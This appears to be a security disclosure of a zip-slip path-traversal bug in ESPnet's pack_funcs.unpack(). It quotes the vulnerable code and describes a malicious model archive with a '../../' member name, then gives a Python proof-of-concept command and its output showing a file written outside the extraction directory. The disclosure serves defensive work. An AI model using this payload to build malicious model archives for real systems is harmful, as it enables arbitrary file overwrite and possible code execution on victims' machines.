Views
No views yet
unpack() zip-slip / path-traversal arbitrary file write (PoC model)espnet2/main_funcs/pack_funcs.py, function unpack()
(commit 85ac06a1f773ab842169d73e8805801d61a4a738).espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...) →
unpack_local_file(...) → pack_funcs.unpack(archive, cachedir).meta.yaml yaml_files is written with a manually joined path:1fname = archive.get_name_from_info(info) # attacker-controlled member name
2outname = outpath / fname # no basename / no containment check
3outname.parent.mkdir(parents=True, exist_ok=True)
4with outname.open("w") as f: # writes OUTSIDE outpath if fname has ../
5 yaml.safe_dump(d, f)../../ESPNET_ZIPSLIP_ESCAPED.yaml escapes the intended extraction directory.
Because the write uses a manual join + open("w") (not ZipFile.extract), this
escape works even for plain .zip archives, bypassing zipfile's own ..
protection. The non-yaml branch (archive.extract(...)) additionally enables
classic tar-slip for .tar/.tgz archives. An attacker who publishes a model
can therefore drop files at arbitrary filesystem locations (e.g. overwrite a
startup script or config), leading to potential code execution.espnet_zipslip_poc.zip — a minimal malicious espnet model archive. It
contains meta.yaml and one member literally named
../../ESPNET_ZIPSLIP_ESCAPED.yaml.marker: ESPNET_ZIPSLIP_ESCAPED); it performs no destructive
action.1pip install espnet
2python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
3d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
4(o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
5unpack(str(o/'model.zip'), str(o)); \
6print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: TrueESPNET_ZIPSLIP_ESCAPED.yaml appears two directories above the
extraction directory, proving the traversal.